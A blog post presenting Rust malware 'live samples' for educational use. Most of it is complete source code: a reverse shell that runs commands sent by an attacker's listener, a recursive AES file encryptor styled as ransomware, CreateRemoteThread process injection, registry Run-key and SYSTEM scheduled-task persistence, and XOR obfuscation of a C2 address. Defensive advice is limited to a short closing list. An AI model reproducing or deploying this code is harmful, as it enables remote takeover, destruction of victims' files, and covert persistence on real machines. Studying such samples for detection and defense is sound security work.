Blog

The Rise of Rust-Based Malware: A Deep Dive with Live Samples for Educational Use

Posted on by Maxwell Seefeld

Introduction: The Rise of Rust in Malware

Rust has become a formidable tool for malware developers due to its unique features: memory safety eliminates common bugs like buffer overflows, high performance rivals C/C++, and compact binaries evade traditional antivirus detection. Its cross-platform support and minimal runtime dependencies make it ideal for crafting robust, stealthy payloads. This guide dives deep into practical examples—reverse shells, ransomware-style encryption, process injection, persistence mechanisms, and obfuscation—while emphasizing defensive countermeasures.

Why Rust? Malware like RustBucket (attributed to North Korean actors) and samples analyzed by Trend Micro showcase Rust’s growing adoption. Its low detection rates and ability to compile to native code make it a next-generation threat, challenging defenders to adapt.

1. Rust Reverse Shell: Command-and-Control Payload

A reverse shell connects a victim machine to an attacker’s listener, enabling remote command execution. This Rust implementation uses TCP sockets and spawns a shell process, making it cross-platform with minor tweaks. Lab use only.

use std::net::TcpStream;
use std::io::{self, Read, Write};
use std::process::{Command, Stdio};
use std::str;

fn main() -> io::Result<()> {
    // Connect to attacker’s listener (replace with your lab IP:port)
    let mut stream = TcpStream::connect("127.0.0.1:4444")?;
    println!("Connected to C2 server.");

    // Buffer for receiving commands
    let mut buffer = [0; 2048];

    loop {
        // Read command from attacker
        match stream.read(&mut buffer) {
            Ok(n) if n > 0 => {
                let command = str::from_utf8(&buffer[..n])
                    .unwrap_or("Invalid UTF-8")
                    .trim()
                    .to_string();
                if command.is_empty() { continue; }

                println!("Received command: {}", command);

                // Execute command (Windows: cmd, Linux: sh)
                let output = if cfg!(target_os = "windows") {
                    Command::new("cmd")
                        .args(&["/C", &command])
                        .stdout(Stdio::piped())
                        .stderr(Stdio::piped())
                        .output()
                } else {
                    Command::new("sh")
                        .args(&["-c", &command])
                        .stdout(Stdio::piped())
                        .stderr(Stdio::piped())
                        .output()
                }?;

                // Send output back to attacker
                stream.write_all(&output.stdout)?;
                stream.write_all(&output.stderr)?;
                stream.flush()?;
            }
            Ok(_) => {
                println!("Connection closed by server.");
                break;
            }
            Err(e) => {
                eprintln!("Error reading from stream: {}", e);
                break;
            }
        }
    }
    Ok(())
}

Setup: No external crates needed—just Rust’s standard library. Run a listener (e.g., `nc -lvp 4444`) on the attacker side. Test commands like `dir` (Windows) or `ls` (Linux with `sh`). Features: Cross-platform compatibility, error handling, and buffered I/O for stability.

Real-World Context: Reverse shells are staples in red-team exercises and malware like Meterpreter. Rust’s performance ensures reliable connections even under load.

2. Rust File Encryption: Ransomware Simulation

This sample mimics ransomware by encrypting files with AES-256 in CBC mode, using a random key and IV. It targets a directory recursively, appending `.enc` to encrypted files. Lab use only.

use aes::Aes256;
use block_modes::{BlockMode, Cbc};
use block_modes::block_padding::Pkcs7;
use rand::Rng;
use std::fs::{self, File};
use std::io::{self, Read, Write};
use std::path::Path;

type Aes256Cbc = Cbc<Aes256, Pkcs7>;

fn encrypt_file(input_path: &str, key: &[u8; 32], iv: &[u8; 16]) -> io::Result<()> {
    let cipher = Aes256Cbc::new_from_slices(key, iv).expect("Invalid key/IV");
    let mut file = File::open(input_path)?;
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer)?;

    let ciphertext = cipher.encrypt_vec(&buffer);
    let output_path = format!("{}.enc", input_path);
    fs::write(&output_path, &ciphertext)?;
    println!("Encrypted: {} -> {}", input_path, output_path);
    Ok(())
}

fn encrypt_directory(dir_path: &str, key: &[u8; 32], iv: &[u8; 16]) -> io::Result<()> {
    for entry in fs::read_dir(dir_path)? {
        let entry = entry?;
        let path = entry.path();
        if path.is_file() {
            encrypt_file(path.to_str().unwrap(), key, iv)?;
        } else if path.is_dir() {
            encrypt_directory(path.to_str().unwrap(), key, iv)?;
        }
    }
    Ok(())
}

fn main() -> io::Result<()> {
    let key = rand::thread_rng().gen::<[u8; 32]>();
    let iv = rand::thread_rng().gen::<[u8; 16]>();
    println!("Generated Key: {:x?}", key);
    println!("Generated IV: {:x?}", iv);

    let target_dir = "C:/test_dir"; // Replace with your lab directory
    if Path::new(target_dir).exists() {
        encrypt_directory(target_dir, &key, &iv)?;
        println!("Directory encryption complete.");
    } else {
        eprintln!("Target directory does not exist: {}", target_dir);
    }
    Ok(())
}

Dependencies (Cargo.toml):

[dependencies]
aes = "0.8"
block-modes = "0.9"
rand = "0.8"

Features: Recursive directory traversal, error handling, and logging. Context: Ransomware like WannaCry encrypts entire drives; this sample scales to directories, mimicking real threats. Store the key/IV securely in a lab to simulate decryption demands.

3. Rust Process Injection: Stealth Execution

Process injection executes malicious code within a legitimate process (e.g., `notepad.exe`), evading detection. This detailed pseudocode outlines the technique using Windows APIs. Full implementation requires `winapi` and unsafe Rust, so it’s kept conceptual. Lab use only.

use std::ptr;
use winapi::ctypes::c_void;
use winapi::um::processthreadsapi::{CreateProcessA, CreateRemoteThread, ResumeThread};
use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory};
use winapi::um::winbase::CREATE_SUSPENDED;
use winapi::um::winnt::{PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
use winapi::shared::minwindef::LPVOID;

fn inject_shellcode(target_process: &str, shellcode: &[u8]) -> Result<(), String> {
    unsafe {
        // Step 1: Create target process in suspended state
        let mut startup_info = std::mem::zeroed();
        let mut process_info = std::mem::zeroed();
        let success = CreateProcessA(
            target_process.as_ptr() as *const i8, // e.g., "C:\Windows\notepad.exe"
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
            0,
            CREATE_SUSPENDED,
            ptr::null_mut(),
            ptr::null_mut(),
            &mut startup_info,
            &mut process_info,
        );
        if success == 0 {
            return Err("Failed to create process".to_string());
        }

        // Step 2: Allocate memory in target process
        let remote_memory = VirtualAllocEx(
            process_info.hProcess,
            ptr::null_mut(),
            shellcode.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );
        if remote_memory.is_null() {
            return Err("Failed to allocate memory".to_string());
        }

        // Step 3: Write shellcode to allocated memory
        let mut bytes_written = 0;
        let success = WriteProcessMemory(
            process_info.hProcess,
            remote_memory,
            shellcode.as_ptr() as *const c_void,
            shellcode.len(),
            &mut bytes_written,
        );
        if success == 0 || bytes_written != shellcode.len() {
            return Err("Failed to write shellcode".to_string());
        }

        // Step 4: Create remote thread to execute shellcode
        let thread_handle = CreateRemoteThread(
            process_info.hProcess,
            ptr::null_mut(),
            0,
            Some(std::mem::transmute(remote_memory)),
            ptr::null_mut(),
            0,
            ptr::null_mut(),
        );
        if thread_handle.is_null() {
            return Err("Failed to create remote thread".to_string());
        }

        // Step 5: Resume process execution
        ResumeThread(process_info.hThread);

        // Cleanup (in a real scenario, close handles)
        println!("Injection successful into {}", target_process);
        Ok(())
    }
}

fn main() {
    // Example shellcode (NOP sled + simple exit, for demonstration)
    let shellcode: &[u8] = &[
        0x90, 0x90, 0x90, // NOP sled
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0 (exit code)
        0xC3 // ret
    ];
    if let Err(e) = inject_shellcode("C:\Windows\notepad.exe", shellcode) {
        eprintln!("Injection failed: {}", e);
    }
}

Dependencies (Cargo.toml):

[dependencies]
winapi = { version = "0.3", features = ["processthreadsapi", "memoryapi", "winbase", "winnt", "minwindef"] }

Notes: This is pseudocode with real API calls but requires `unsafe` blocks and proper linking. The shellcode is a placeholder (NOP + exit). Real malware uses complex payloads (e.g., Meterpreter). Context: Techniques like this are seen in banking trojans like Emotet.

4. Rust Persistence: Registry and Scheduled Tasks

This sample ensures persistence via two methods: Windows Registry Run key and a scheduled task. Lab use only.

4.1 Registry Run Key

use winreg::RegKey;
use winreg::enums::*;
use std::io;

fn set_registry_persistence() -> io::Result<()> {
    let hkcu = RegKey::predef(HKEY_CURRENT_USER);
    let (key, _) = hkcu.create_subkey("Software\Microsoft\Windows\CurrentVersion\Run")?;
    key.set_value("RustPersist", &"C:\lab\malware.exe")?;
    println!("Registry persistence set.");
    Ok(())
}

fn main() -> io::Result<()> {
    set_registry_persistence()?;
    Ok(())
}

Dependencies: `winreg = “0.10”`

4.2 Scheduled Task

use std::process::Command;
use std::io;

fn set_scheduled_task() -> io::Result<()> {
    let output = Command::new("schtasks")
        .args(&[
            "/create",
            "/tn", "RustMalwareTask",
            "/tr", "C:\lab\malware.exe",
            "/sc", "ONLOGON",
            "/ru", "SYSTEM",
        ])
        .output()?;
    
    if output.status.success() {
        println!("Scheduled task created: RustMalwareTask");
    } else {
        eprintln!("Failed to create task: {}", String::from_utf8_lossy(&output.stderr));
    }
    Ok(())
}

fn main() -> io::Result<()> {
    set_scheduled_task()?;
    Ok(())
}

Features: Dual persistence methods for redundancy. Context: Malware like Ryuk uses scheduled tasks for persistence, often paired with privilege escalation.

5. Rust Obfuscation: Anti-Analysis Technique

This sample demonstrates string encryption to hide sensitive data (e.g., C2 server addresses) from static analysis. Lab use only.

use std::string::String;

fn xor_encrypt_decrypt(data: &str, key: u8) -> String {
    data.chars()
        .map(|c| (c as u8 ^ key) as char)
        .collect()
}

fn main() {
    let original = "192.168.1.10:4444";
    let key = 0x42; // Simple XOR key
    let encrypted = xor_encrypt_decrypt(original, key);
    let decrypted = xor_encrypt_decrypt(&encrypted, key);
    
    println!("Original: {}", original);
    println!("Encrypted: {}", encrypted);
    println!("Decrypted: {}", decrypted);
}

Features: Basic XOR encryption. Context: Real malware uses advanced obfuscation (e.g., AES, base64), but this illustrates the concept.

6. Live Rust Malware References

7. Defense Strategies

  • Behavioral Analysis: Use EDR/XDR (e.g., CrowdStrike) to detect unusual network or process activity.
  • YARA Rules: Craft signatures for Rust binaries (e.g., `rustc` artifacts like panic strings).
  • Sandboxing: Analyze in Cuckoo Sandbox or Hybrid Analysis.
  • Monitoring: Track registry, file, and process changes with Sysmon.
  • Threat Intel: Leverage MITRE ATT&CK mappings for Rust malware.

Leave a Reply

Your email address will not be published. Required fields are marked *

Check out Nerds Support's Google reviews!
Check out Nerds Support's Google reviews!
This site uses cookies. By continuing to browse the site, you are agreeing to our use of cookies. Your data will not be shared or sold.
More info Accept